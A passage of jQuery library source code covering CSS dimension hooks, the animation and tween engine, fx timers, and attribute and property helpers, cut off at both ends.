computed value\n            if ( val === \"normal\" && name in cssNormalTransform ) {\n                val = cssNormalTransform[ name ];\n            }\n\n            // Make numeric if forced or a qualifier was provided and val looks numeric\n            if ( extra === \"\" || extra ) {\n                num = parseFloat( val );\n                return extra === true || isFinite( num ) ? num || 0 : val;\n            }\n            return val;\n        }\n    } );\n\n    jQuery.each( [ \"height\", \"width\" ], function( i, name ) {\n        jQuery.cssHooks[ name ] = {\n            get: function( elem, computed, extra ) {\n                if ( computed ) {\n\n                    // Certain elements can have dimension info if we invisibly show them\n                    // but it must have a current display style that would benefit\n                    return rdisplayswap.test( jQuery.css( elem, \"display\" ) ) &&\n\n                    // Support: Safari 8+\n                    // Table columns in Safari have non-zero offsetWidth & zero\n                    // getBoundingClientRect().width unless display is changed.\n                    // Support: IE <=11 only\n                    // Running getBoundingClientRect on a disconnected node\n                    // in IE throws an error.\n                    ( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ?\n                        swap( elem, cssShow, function() {\n                            return getWidthOrHeight( elem, name, extra );\n                        } ) :\n                        getWidthOrHeight( elem, name, extra );\n                }\n            },\n\n            set: function( elem, value, extra ) {\n                var matches,\n                    styles = extra && getStyles( elem ),\n                    subtract = extra && augmentWidthOrHeight(\n                        elem,\n                        name,\n                        extra,\n                        jQuery.css( elem, \"boxSizing\", false, styles ) === \"border-box\",\n                        styles\n                    );\n\n                // Convert to pixels if value adjustment is needed\n                if ( subtract && ( matches = rcssNum.exec( value ) ) &&\n                    ( matches[ 3 ] || \"px\" ) !== \"px\" ) {\n\n                    elem.style[ name ] = value;\n                    value = jQuery.css( elem, name );\n                }\n\n                return setPositiveNumber( elem, value, subtract );\n            }\n        };\n    } );\n\n    jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,\n        function( elem, computed ) {\n            if ( computed ) {\n                return ( parseFloat( curCSS( elem, \"marginLeft\" ) ) ||\n                    elem.getBoundingClientRect().left -\n                    swap( elem, { marginLeft: 0 }, function() {\n                        return elem.getBoundingClientRect().left;\n                    } )\n                ) + \"px\";\n            }\n        }\n    );\n\n// These hooks are used by animate to expand properties\n    jQuery.each( {\n        margin: \"\",\n        padding: \"\",\n        border: \"Width\"\n    }, function( prefix, suffix ) {\n        jQuery.cssHooks[ prefix + suffix ] = {\n            expand: function( value ) {\n                var i = 0,\n                    expanded = {},\n\n                    // Assumes a single number if not a string\n                    parts = typeof value === \"string\" ? value.split( \" \" ) : [ value ];\n\n                for ( ; i < 4; i++ ) {\n                    expanded[ prefix + cssExpand[ i ] + suffix ] =\n                        parts[ i ] || parts[ i - 2 ] || parts[ 0 ];\n                }\n\n                return expanded;\n            }\n        };\n\n        if ( !rmargin.test( prefix ) ) {\n            jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;\n        }\n    } );\n\n    jQuery.fn.extend( {\n        css: function( name, value ) {\n            return access( this, function( elem, name, value ) {\n                var styles, len,\n                    map = {},\n                    i = 0;\n\n                if ( jQuery.isArray( name ) ) {\n                    styles = getStyles( elem );\n                    len = name.length;\n\n                    for ( ; i < len; i++ ) {\n                        map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );\n                    }\n\n                    return map;\n                }\n\n                return value !== undefined ?\n                    jQuery.style( elem, name, value ) :\n                    jQuery.css( elem, name );\n            }, name, value, arguments.length > 1 );\n        }\n    } );\n\n\n    function Tween( elem, options, prop, end, easing ) {\n        return new Tween.prototype.init( elem, options, prop, end, easing );\n    }\n    jQuery.Tween = Tween;\n\n    Tween.prototype = {\n        constructor: Tween,\n        init: function( elem, options, prop, end, easing, unit ) {\n            this.elem = elem;\n            this.prop = prop;\n            this.easing = easing || jQuery.easing._default;\n            this.options = options;\n            this.start = this.now = this.cur();\n            this.end = end;\n            this.unit = unit || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" );\n        },\n        cur: function() {\n            var hooks = Tween.propHooks[ this.prop ];\n\n            return hooks && hooks.get ?\n                hooks.get( this ) :\n                Tween.propHooks._default.get( this );\n        },\n        run: function( percent ) {\n            var eased,\n                hooks = Tween.propHooks[ this.prop ];\n\n            if ( this.options.duration ) {\n                this.pos = eased = jQuery.easing[ this.easing ](\n                    percent, this.options.duration * percent, 0, 1, this.options.duration\n                );\n            } else {\n                this.pos = eased = percent;\n            }\n            this.now = ( this.end - this.start ) * eased + this.start;\n\n            if ( this.options.step ) {\n                this.options.step.call( this.elem, this.now, this );\n            }\n\n            if ( hooks && hooks.set ) {\n                hooks.set( this );\n            } else {\n                Tween.propHooks._default.set( this );\n            }\n            return this;\n        }\n    };\n\n    Tween.prototype.init.prototype = Tween.prototype;\n\n    Tween.propHooks = {\n        _default: {\n            get: function( tween ) {\n                var result;\n\n                // Use a property on the element directly when it is not a DOM element,\n                // or when there is no matching style property that exists.\n                if ( tween.elem.nodeType !== 1 ||\n                    tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) {\n                    return tween.elem[ tween.prop ];\n                }\n\n                // Passing an empty string as a 3rd parameter to .css will automatically\n                // attempt a parseFloat and fallback to a string if the parse fails.\n                // Simple values such as \"10px\" are parsed to Float;\n                // complex values such as \"rotate(1rad)\" are returned as-is.\n                result = jQuery.css( tween.elem, tween.prop, \"\" );\n\n                // Empty strings, null, undefined and \"auto\" are converted to 0.\n                return !result || result === \"auto\" ? 0 : result;\n            },\n            set: function( tween ) {\n\n                // Use step hook for back compat.\n                // Use cssHook if its there.\n                // Use .style if available and use plain properties where available.\n                if ( jQuery.fx.step[ tween.prop ] ) {\n                    jQuery.fx.step[ tween.prop ]( tween );\n                } else if ( tween.elem.nodeType === 1 &&\n                    ( tween.elem.style[ jQuery.cssProps[ tween.prop ] ] != null ||\n                        jQuery.cssHooks[ tween.prop ] ) ) {\n                    jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );\n                } else {\n                    tween.elem[ tween.prop ] = tween.now;\n                }\n            }\n        }\n    };\n\n// Support: IE <=9 only\n// Panic based approach to setting things on disconnected nodes\n    Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {\n        set: function( tween ) {\n            if ( tween.elem.nodeType && tween.elem.parentNode ) {\n                tween.elem[ tween.prop ] = tween.now;\n            }\n        }\n    };\n\n    jQuery.easing = {\n        linear: function( p ) {\n            return p;\n        },\n        swing: function( p ) {\n            return 0.5 - Math.cos( p * Math.PI ) / 2;\n        },\n        _default: \"swing\"\n    };\n\n    jQuery.fx = Tween.prototype.init;\n\n// Back compat <1.8 extension point\n    jQuery.fx.step = {};\n\n\n\n\n    var\n        fxNow, timerId,\n        rfxtypes = /^(?:toggle|show|hide)$/,\n        rrun = /queueHooks$/;\n\n    function raf() {\n        if ( timerId ) {\n            window.requestAnimationFrame( raf );\n            jQuery.fx.tick();\n        }\n    }\n\n// Animations created synchronously will run synchronously\n    function createFxNow() {\n        window.setTimeout( function() {\n            fxNow = undefined;\n        } );\n        return ( fxNow = jQuery.now() );\n    }\n\n// Generate parameters to create a standard animation\n    function genFx( type, includeWidth ) {\n        var which,\n            i = 0,\n            attrs = { height: type };\n\n        // If we include width, step value is 1 to do all cssExpand values,\n        // otherwise step value is 2 to skip over Left and Right\n        includeWidth = includeWidth ? 1 : 0;\n        for ( ; i < 4; i += 2 - includeWidth ) {\n            which = cssExpand[ i ];\n            attrs[ \"margin\" + which ] = attrs[ \"padding\" + which ] = type;\n        }\n\n        if ( includeWidth ) {\n            attrs.opacity = attrs.width = type;\n        }\n\n        return attrs;\n    }\n\n    function createTween( value, prop, animation ) {\n        var tween,\n            collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ \"*\" ] ),\n            index = 0,\n            length = collection.length;\n        for ( ; index < length; index++ ) {\n            if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {\n\n                // We're done with this property\n                return tween;\n            }\n        }\n    }\n\n    function defaultPrefilter( elem, props, opts ) {\n        var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display,\n            isBox = \"width\" in props || \"height\" in props,\n            anim = this,\n            orig = {},\n            style = elem.style,\n            hidden = elem.nodeType && isHiddenWithinTree( elem ),\n            dataShow = dataPriv.get( elem, \"fxshow\" );\n\n        // Queue-skipping animations hijack the fx hooks\n        if ( !opts.queue ) {\n            hooks = jQuery._queueHooks( elem, \"fx\" );\n            if ( hooks.unqueued == null ) {\n                hooks.unqueued = 0;\n                oldfire = hooks.empty.fire;\n                hooks.empty.fire = function() {\n                    if ( !hooks.unqueued ) {\n                        oldfire();\n                    }\n                };\n            }\n            hooks.unqueued++;\n\n            anim.always( function() {\n\n                // Ensure the complete handler is called before this completes\n                anim.always( function() {\n                    hooks.unqueued--;\n                    if ( !jQuery.queue( elem, \"fx\" ).length ) {\n                        hooks.empty.fire();\n                    }\n                } );\n            } );\n        }\n\n        // Detect show/hide animations\n        for ( prop in props ) {\n            value = props[ prop ];\n            if ( rfxtypes.test( value ) ) {\n                delete props[ prop ];\n                toggle = toggle || value === \"toggle\";\n                if ( value === ( hidden ? \"hide\" : \"show\" ) ) {\n\n                    // Pretend to be hidden if this is a \"show\" and\n                    // there is still data from a stopped show/hide\n                    if ( value === \"show\" && dataShow && dataShow[ prop ] !== undefined ) {\n                        hidden = true;\n\n                        // Ignore all other no-op show/hide data\n                    } else {\n                        continue;\n                    }\n                }\n                orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );\n            }\n        }\n\n        // Bail out if this is a no-op like .hide().hide()\n        propTween = !jQuery.isEmptyObject( props );\n        if ( !propTween && jQuery.isEmptyObject( orig ) ) {\n            return;\n        }\n\n        // Restrict \"overflow\" and \"display\" styles during box animations\n        if ( isBox && elem.nodeType === 1 ) {\n\n            // Support: IE <=9 - 11, Edge 12 - 13\n            // Record all 3 overflow attributes because IE does not infer the shorthand\n            // from identically-valued overflowX and overflowY\n            opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];\n\n            // Identify a display type, preferring old show/hide data over the CSS cascade\n            restoreDisplay = dataShow && dataShow.display;\n            if ( restoreDisplay == null ) {\n                restoreDisplay = dataPriv.get( elem, \"display\" );\n            }\n            display = jQuery.css( elem, \"display\" );\n            if ( display === \"none\" ) {\n                if ( restoreDisplay ) {\n                    display = restoreDisplay;\n                } else {\n\n                    // Get nonempty value(s) by temporarily forcing visibility\n                    showHide( [ elem ], true );\n                    restoreDisplay = elem.style.display || restoreDisplay;\n                    display = jQuery.css( elem, \"display\" );\n                    showHide( [ elem ] );\n                }\n            }\n\n            // Animate inline elements as inline-block\n            if ( display === \"inline\" || display === \"inline-block\" && restoreDisplay != null ) {\n                if ( jQuery.css( elem, \"float\" ) === \"none\" ) {\n\n                    // Restore the original display value at the end of pure show/hide animations\n                    if ( !propTween ) {\n                        anim.done( function() {\n                            style.display = restoreDisplay;\n                        } );\n                        if ( restoreDisplay == null ) {\n                            display = style.display;\n                            restoreDisplay = display === \"none\" ? \"\" : display;\n                        }\n                    }\n                    style.display = \"inline-block\";\n                }\n            }\n        }\n\n        if ( opts.overflow ) {\n            style.overflow = \"hidden\";\n            anim.always( function() {\n                style.overflow = opts.overflow[ 0 ];\n                style.overflowX = opts.overflow[ 1 ];\n                style.overflowY = opts.overflow[ 2 ];\n            } );\n        }\n\n        // Implement show/hide animations\n        propTween = false;\n        for ( prop in orig ) {\n\n            // General show/hide setup for this element animation\n            if ( !propTween ) {\n                if ( dataShow ) {\n                    if ( \"hidden\" in dataShow ) {\n                        hidden = dataShow.hidden;\n                    }\n                } else {\n                    dataShow = dataPriv.access( elem, \"fxshow\", { display: restoreDisplay } );\n                }\n\n                // Store hidden/visible for toggle so `.stop().toggle()` \"reverses\"\n                if ( toggle ) {\n                    dataShow.hidden = !hidden;\n                }\n\n                // Show elements before animating them\n                if ( hidden ) {\n                    showHide( [ elem ], true );\n                }\n\n                /* eslint-disable no-loop-func */\n\n                anim.done( function() {\n\n                    /* eslint-enable no-loop-func */\n\n                    // The final step of a \"hide\" animation is actually hiding the element\n                    if ( !hidden ) {\n                        showHide( [ elem ] );\n                    }\n                    dataPriv.remove( elem, \"fxshow\" );\n                    for ( prop in orig ) {\n                        jQuery.style( elem, prop, orig[ prop ] );\n                    }\n                } );\n            }\n\n            // Per-property setup\n            propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );\n            if ( !( prop in dataShow ) ) {\n                dataShow[ prop ] = propTween.start;\n                if ( hidden ) {\n                    propTween.end = propTween.start;\n                    propTween.start = 0;\n                }\n            }\n        }\n    }\n\n    function propFilter( props, specialEasing ) {\n        var index, name, easing, value, hooks;\n\n        // camelCase, specialEasing and expand cssHook pass\n        for ( index in props ) {\n            name = jQuery.camelCase( index );\n            easing = specialEasing[ name ];\n            value = props[ index ];\n            if ( jQuery.isArray( value ) ) {\n                easing = value[ 1 ];\n                value = props[ index ] = value[ 0 ];\n            }\n\n            if ( index !== name ) {\n                props[ name ] = value;\n                delete props[ index ];\n            }\n\n            hooks = jQuery.cssHooks[ name ];\n            if ( hooks && \"expand\" in hooks ) {\n                value = hooks.expand( value );\n                delete props[ name ];\n\n                // Not quite $.extend, this won't overwrite existing keys.\n                // Reusing 'index' because we have the correct \"name\"\n                for ( index in value ) {\n                    if ( !( index in props ) ) {\n                        props[ index ] = value[ index ];\n                        specialEasing[ index ] = easing;\n                    }\n                }\n            } else {\n                specialEasing[ name ] = easing;\n            }\n        }\n    }\n\n    function Animation( elem, properties, options ) {\n        var result,\n            stopped,\n            index = 0,\n            length = Animation.prefilters.length,\n            deferred = jQuery.Deferred().always( function() {\n\n                // Don't match elem in the :animated selector\n                delete tick.elem;\n            } ),\n            tick = function() {\n                if ( stopped ) {\n                    return false;\n                }\n                var currentTime = fxNow || createFxNow(),\n                    remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),\n\n                    // Support: Android 2.3 only\n                    // Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497)\n                    temp = remaining / animation.duration || 0,\n                    percent = 1 - temp,\n                    index = 0,\n                    length = animation.tweens.length;\n\n                for ( ; index < length; index++ ) {\n                    animation.tweens[ index ].run( percent );\n                }\n\n                deferred.notifyWith( elem, [ animation, percent, remaining ] );\n\n                if ( percent < 1 && length ) {\n                    return remaining;\n                } else {\n                    deferred.resolveWith( elem, [ animation ] );\n                    return false;\n                }\n            },\n            animation = deferred.promise( {\n                elem: elem,\n                props: jQuery.extend( {}, properties ),\n                opts: jQuery.extend( true, {\n                    specialEasing: {},\n                    easing: jQuery.easing._default\n                }, options ),\n                originalProperties: properties,\n                originalOptions: options,\n                startTime: fxNow || createFxNow(),\n                duration: options.duration,\n                tweens: [],\n                createTween: function( prop, end ) {\n                    var tween = jQuery.Tween( elem, animation.opts, prop, end,\n                        animation.opts.specialEasing[ prop ] || animation.opts.easing );\n                    animation.tweens.push( tween );\n                    return tween;\n                },\n                stop: function( gotoEnd ) {\n                    var index = 0,\n\n                        // If we are going to the end, we want to run all the tweens\n                        // otherwise we skip this part\n                        length = gotoEnd ? animation.tweens.length : 0;\n                    if ( stopped ) {\n                        return this;\n                    }\n                    stopped = true;\n                    for ( ; index < length; index++ ) {\n                        animation.tweens[ index ].run( 1 );\n                    }\n\n                    // Resolve when we played the last frame; otherwise, reject\n                    if ( gotoEnd ) {\n                        deferred.notifyWith( elem, [ animation, 1, 0 ] );\n                        deferred.resolveWith( elem, [ animation, gotoEnd ] );\n                    } else {\n                        deferred.rejectWith( elem, [ animation, gotoEnd ] );\n                    }\n                    return this;\n                }\n            } ),\n            props = animation.props;\n\n        propFilter( props, animation.opts.specialEasing );\n\n        for ( ; index < length; index++ ) {\n            result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );\n            if ( result ) {\n                if ( jQuery.isFunction( result.stop ) ) {\n                    jQuery._queueHooks( animation.elem, animation.opts.queue ).stop =\n                        jQuery.proxy( result.stop, result );\n                }\n                return result;\n            }\n        }\n\n        jQuery.map( props, createTween, animation );\n\n        if ( jQuery.isFunction( animation.opts.start ) ) {\n            animation.opts.start.call( elem, animation );\n        }\n\n        jQuery.fx.timer(\n            jQuery.extend( tick, {\n                elem: elem,\n                anim: animation,\n                queue: animation.opts.queue\n            } )\n        );\n\n        // attach callbacks from options\n        return animation.progress( animation.opts.progress )\n            .done( animation.opts.done, animation.opts.complete )\n            .fail( animation.opts.fail )\n            .always( animation.opts.always );\n    }\n\n    jQuery.Animation = jQuery.extend( Animation, {\n\n        tweeners: {\n            \"*\": [ function( prop, value ) {\n                var tween = this.createTween( prop, value );\n                adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );\n                return tween;\n            } ]\n        },\n\n        tweener: function( props, callback ) {\n            if ( jQuery.isFunction( props ) ) {\n                callback = props;\n                props = [ \"*\" ];\n            } else {\n                props = props.match( rnothtmlwhite );\n            }\n\n            var prop,\n                index = 0,\n                length = props.length;\n\n            for ( ; index < length; index++ ) {\n                prop = props[ index ];\n                Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];\n                Animation.tweeners[ prop ].unshift( callback );\n            }\n        },\n\n        prefilters: [ defaultPrefilter ],\n\n        prefilter: function( callback, prepend ) {\n            if ( prepend ) {\n                Animation.prefilters.unshift( callback );\n            } else {\n                Animation.prefilters.push( callback );\n            }\n        }\n    } );\n\n    jQuery.speed = function( speed, easing, fn ) {\n        var opt = speed && typeof speed === \"object\" ? jQuery.extend( {}, speed ) : {\n            complete: fn || !fn && easing ||\n            jQuery.isFunction( speed ) && speed,\n            duration: speed,\n            easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing\n        };\n\n        // Go to the end state if fx are off or if document is hidden\n        if ( jQuery.fx.off || document.hidden ) {\n            opt.duration = 0;\n\n        } else {\n            if ( typeof opt.duration !== \"number\" ) {\n                if ( opt.duration in jQuery.fx.speeds ) {\n                    opt.duration = jQuery.fx.speeds[ opt.duration ];\n\n                } else {\n                    opt.duration = jQuery.fx.speeds._default;\n                }\n            }\n        }\n\n        // Normalize opt.queue - true/undefined/null -> \"fx\"\n        if ( opt.queue == null || opt.queue === true ) {\n            opt.queue = \"fx\";\n        }\n\n        // Queueing\n        opt.old = opt.complete;\n\n        opt.complete = function() {\n            if ( jQuery.isFunction( opt.old ) ) {\n                opt.old.call( this );\n            }\n\n            if ( opt.queue ) {\n                jQuery.dequeue( this, opt.queue );\n            }\n        };\n\n        return opt;\n    };\n\n    jQuery.fn.extend( {\n        fadeTo: function( speed, to, easing, callback ) {\n\n            // Show any hidden elements after setting opacity to 0\n            return this.filter( isHiddenWithinTree ).css( \"opacity\", 0 ).show()\n\n            // Animate to the value specified\n                .end().animate( { opacity: to }, speed, easing, callback );\n        },\n        animate: function( prop, speed, easing, callback ) {\n            var empty = jQuery.isEmptyObject( prop ),\n                optall = jQuery.speed( speed, easing, callback ),\n                doAnimation = function() {\n\n                    // Operate on a copy of prop so per-property easing won't be lost\n                    var anim = Animation( this, jQuery.extend( {}, prop ), optall );\n\n                    // Empty animations, or finishing resolves immediately\n                    if ( empty || dataPriv.get( this, \"finish\" ) ) {\n                        anim.stop( true );\n                    }\n                };\n            doAnimation.finish = doAnimation;\n\n            return empty || optall.queue === false ?\n                this.each( doAnimation ) :\n                this.queue( optall.queue, doAnimation );\n        },\n        stop: function( type, clearQueue, gotoEnd ) {\n            var stopQueue = function( hooks ) {\n                var stop = hooks.stop;\n                delete hooks.stop;\n                stop( gotoEnd );\n            };\n\n            if ( typeof type !== \"string\" ) {\n                gotoEnd = clearQueue;\n                clearQueue = type;\n                type = undefined;\n            }\n            if ( clearQueue && type !== false ) {\n                this.queue( type || \"fx\", [] );\n            }\n\n            return this.each( function() {\n                var dequeue = true,\n                    index = type != null && type + \"queueHooks\",\n                    timers = jQuery.timers,\n                    data = dataPriv.get( this );\n\n                if ( index ) {\n                    if ( data[ index ] && data[ index ].stop ) {\n                        stopQueue( data[ index ] );\n                    }\n                } else {\n                    for ( index in data ) {\n                        if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {\n                            stopQueue( data[ index ] );\n                        }\n                    }\n                }\n\n                for ( index = timers.length; index--; ) {\n                    if ( timers[ index ].elem === this &&\n                        ( type == null || timers[ index ].queue === type ) ) {\n\n                        timers[ index ].anim.stop( gotoEnd );\n                        dequeue = false;\n                        timers.splice( index, 1 );\n                    }\n                }\n\n                // Start the next in the queue if the last step wasn't forced.\n                // Timers currently will call their complete callbacks, which\n                // will dequeue but only if they were gotoEnd.\n                if ( dequeue || !gotoEnd ) {\n                    jQuery.dequeue( this, type );\n                }\n            } );\n        },\n        finish: function( type ) {\n            if ( type !== false ) {\n                type = type || \"fx\";\n            }\n            return this.each( function() {\n                var index,\n                    data = dataPriv.get( this ),\n                    queue = data[ type + \"queue\" ],\n                    hooks = data[ type + \"queueHooks\" ],\n                    timers = jQuery.timers,\n                    length = queue ? queue.length : 0;\n\n                // Enable finishing flag on private data\n                data.finish = true;\n\n                // Empty the queue first\n                jQuery.queue( this, type, [] );\n\n                if ( hooks && hooks.stop ) {\n                    hooks.stop.call( this, true );\n                }\n\n                // Look for any active animations, and finish them\n                for ( index = timers.length; index--; ) {\n                    if ( timers[ index ].elem === this && timers[ index ].queue === type ) {\n                        timers[ index ].anim.stop( true );\n                        timers.splice( index, 1 );\n                    }\n                }\n\n                // Look for any animations in the old queue and finish them\n                for ( index = 0; index < length; index++ ) {\n                    if ( queue[ index ] && queue[ index ].finish ) {\n                        queue[ index ].finish.call( this );\n                    }\n                }\n\n                // Turn off finishing flag\n                delete data.finish;\n            } );\n        }\n    } );\n\n    jQuery.each( [ \"toggle\", \"show\", \"hide\" ], function( i, name ) {\n        var cssFn = jQuery.fn[ name ];\n        jQuery.fn[ name ] = function( speed, easing, callback ) {\n            return speed == null || typeof speed === \"boolean\" ?\n                cssFn.apply( this, arguments ) :\n                this.animate( genFx( name, true ), speed, easing, callback );\n        };\n    } );\n\n// Generate shortcuts for custom animations\n    jQuery.each( {\n        slideDown: genFx( \"show\" ),\n        slideUp: genFx( \"hide\" ),\n        slideToggle: genFx( \"toggle\" ),\n        fadeIn: { opacity: \"show\" },\n        fadeOut: { opacity: \"hide\" },\n        fadeToggle: { opacity: \"toggle\" }\n    }, function( name, props ) {\n        jQuery.fn[ name ] = function( speed, easing, callback ) {\n            return this.animate( props, speed, easing, callback );\n        };\n    } );\n\n    jQuery.timers = [];\n    jQuery.fx.tick = function() {\n        var timer,\n            i = 0,\n            timers = jQuery.timers;\n\n        fxNow = jQuery.now();\n\n        for ( ; i < timers.length; i++ ) {\n            timer = timers[ i ];\n\n            // Checks the timer has not already been removed\n            if ( !timer() && timers[ i ] === timer ) {\n                timers.splice( i--, 1 );\n            }\n        }\n\n        if ( !timers.length ) {\n            jQuery.fx.stop();\n        }\n        fxNow = undefined;\n    };\n\n    jQuery.fx.timer = function( timer ) {\n        jQuery.timers.push( timer );\n        if ( timer() ) {\n            jQuery.fx.start();\n        } else {\n            jQuery.timers.pop();\n        }\n    };\n\n    jQuery.fx.interval = 13;\n    jQuery.fx.start = function() {\n        if ( !timerId ) {\n            timerId = window.requestAnimationFrame ?\n                window.requestAnimationFrame( raf ) :\n                window.setInterval( jQuery.fx.tick, jQuery.fx.interval );\n        }\n    };\n\n    jQuery.fx.stop = function() {\n        if ( window.cancelAnimationFrame ) {\n            window.cancelAnimationFrame( timerId );\n        } else {\n            window.clearInterval( timerId );\n        }\n\n        timerId = null;\n    };\n\n    jQuery.fx.speeds = {\n        slow: 600,\n        fast: 200,\n\n        // Default speed\n        _default: 400\n    };\n\n\n// Based off of the plugin by Clint Helfers, with permission.\n// https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/\n    jQuery.fn.delay = function( time, type ) {\n        time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;\n        type = type || \"fx\";\n\n        return this.queue( type, function( next, hooks ) {\n            var timeout = window.setTimeout( next, time );\n            hooks.stop = function() {\n                window.clearTimeout( timeout );\n            };\n        } );\n    };\n\n\n    ( function() {\n        var input = document.createElement( \"input\" ),\n            select = document.createElement( \"select\" ),\n            opt = select.appendChild( document.createElement( \"option\" ) );\n\n        input.type = \"checkbox\";\n\n        // Support: Android <=4.3 only\n        // Default value for a checkbox should be \"on\"\n        support.checkOn = input.value !== \"\";\n\n        // Support: IE <=11 only\n        // Must access selectedIndex to make default options select\n        support.optSelected = opt.selected;\n\n        // Support: IE <=11 only\n        // An input loses its value after becoming a radio\n        input = document.createElement( \"input\" );\n        input.value = \"t\";\n        input.type = \"radio\";\n        support.radioValue = input.value === \"t\";\n    } )();\n\n\n    var boolHook,\n        attrHandle = jQuery.expr.attrHandle;\n\n    jQuery.fn.extend( {\n        attr: function( name, value ) {\n            return access( this, jQuery.attr, name, value, arguments.length > 1 );\n        },\n\n        removeAttr: function( name ) {\n            return this.each( function() {\n                jQuery.removeAttr( this, name );\n            } );\n        }\n    } );\n\n    jQuery.extend( {\n        attr: function( elem, name, value ) {\n            var ret, hooks,\n                nType = elem.nodeType;\n\n            // Don't get/set attributes on text, comment and attribute nodes\n            if ( nType === 3 || nType === 8 || nType === 2 ) {\n                return;\n            }\n\n            // Fallback to prop when attributes are not supported\n            if ( typeof elem.getAttribute === \"undefined\" ) {\n                return jQuery.prop( elem, name, value );\n            }\n\n            // Attribute hooks are determined by the lowercase version\n            // Grab necessary hook if one is defined\n            if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n                hooks = jQuery.attrHooks[ name.toLowerCase() ] ||\n                    ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );\n            }\n\n            if ( value !== undefined ) {\n                if ( value === null ) {\n                    jQuery.removeAttr( elem, name );\n                    return;\n                }\n\n                if ( hooks && \"set\" in hooks &&\n                    ( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n                    return ret;\n                }\n\n                elem.setAttribute( name, value + \"\" );\n                return value;\n            }\n\n            if ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n                return ret;\n            }\n\n            ret = jQuery.find.attr( elem, name );\n\n            // Non-existent attributes return null, we normalize to undefined\n            return ret == null ? undefined : ret;\n        },\n\n        attrHooks: {\n            type: {\n                set: function( elem, value ) {\n                    if ( !support.radioValue && value === \"radio\" &&\n                        jQuery.nodeName( elem, \"input\" ) ) {\n                        var val = elem.value;\n                        elem.setAttribute( \"type\", value );\n                        if ( val ) {\n                            elem.value = val;\n                        }\n                        return value;\n                    }\n                }\n            }\n        },\n\n        removeAttr: function( elem, value ) {\n            var name,\n                i = 0,\n\n                // Attribute names can contain non-HTML whitespace characters\n                // https://html.spec.whatwg.org/multipage/syntax.html#attributes-2\n                attrNames = value && value.match( rnothtmlwhite );\n\n            if ( attrNames && elem.nodeType === 1 ) {\n                while ( ( name = attrNames[ i++ ] ) ) {\n                    elem.removeAttribute( name );\n                }\n            }\n        }\n    } );\n\n// Hooks for boolean attributes\n    boolHook = {\n        set: function( elem, value, name ) {\n            if ( value === false ) {\n\n                // Remove boolean attributes when set to false\n                jQuery.removeAttr( elem, name );\n            } else {\n                elem.setAttribute( name, name );\n            }\n            return name;\n        }\n    };\n\n    jQuery.each( jQuery.expr.match.bool.source.match( /\\w+/g ), function( i, name ) {\n        var getter = attrHandle[ name ] || jQuery.find.attr;\n\n        attrHandle[ name ] = function( elem, name, isXML ) {\n            var ret, handle,\n                lowercaseName = name.toLowerCase();\n\n            if ( !isXML ) {\n\n                // Avoid an infinite loop by temporarily removing this function from the getter\n                handle = attrHandle[ lowercaseName ];\n                attrHandle[ lowercaseName ] = ret;\n                ret = getter( elem, name, isXML ) != null ?\n                    lowercaseName :\n                    null;\n                attrHandle[ lowercaseName ] = handle;\n            }\n            return ret;\n        };\n    } );\n\n\n\n\n    var rfocusable = /^(?:input|select|textarea|button)$/i,\n        rclickable = /^(?:a|area)$/i;\n\n    jQuery.fn.extend( {\n        prop: function( name, value ) {\n            return access( this, jQuery.prop, name, value, arguments.length > 1 );\n        },\n\n        removeProp: function( name ) {\n            return this.each( function() {\n                delete this[ jQuery.propFix[ name ] || name ];\n            } );\n        }\n    } );\n\n    jQuery.extend( {\n        prop: function( elem, name, value ) {\n            var ret, hooks,\n                nType = elem.nodeType;\n\n            // Don't get/set properties on text, comment and attribute nodes\n            if ( nType === 3 || nType === 8 || nType === 2 ) {\n                return;\n            }\n\n            if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\n                // Fix name and attach hooks\n                name = jQuery.propFix[ name ] || name;\n                hooks = jQuery.propHooks[ name ];\n            }\n\n            if ( value !== undefined ) {\n                if ( hooks && \"set\" in hooks &&\n                    ( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n                    return ret;\n                }\n\n                return ( elem[ name ] = value );\n            }\n\n            if ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n                return ret;\n            }\n\n            return elem[ name ];\n        },\n\n        propHooks: {\n            tabIndex: {\n                get: function( elem ) {\n\n                    // Support: IE <=9 - 11 only\n                    // elem.tabIndex doesn't always return the\n                    // correct value when it hasn't been explicitly set\n                    // https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/\n                    // Use proper attribute retrieval(#12072)\n                    var tabindex = jQuery.find.attr( elem, \"tabindex\" );\n\n                    if ( tabindex ) {\n                        return parseInt( tabindex, 10 );\n                    }\n\n                    if (\n                        rfocusable.test( elem.nodeName ) ||\n                        rclickable.test( elem.nodeName ) &&\n                        elem.href\n                    ) {\n                        return 0;\n                    }\n\n                    return -1;\n                }\n            }\n        },\n\n        propFix: {\n            \"for\": \"htmlFor\",\n            \"class\": \"className\"\n        }\n    } );\n\n// Support: IE <=11 only\n// Accessing the selectedIndex property\n// forces the browser to respect setting selected\n// on the 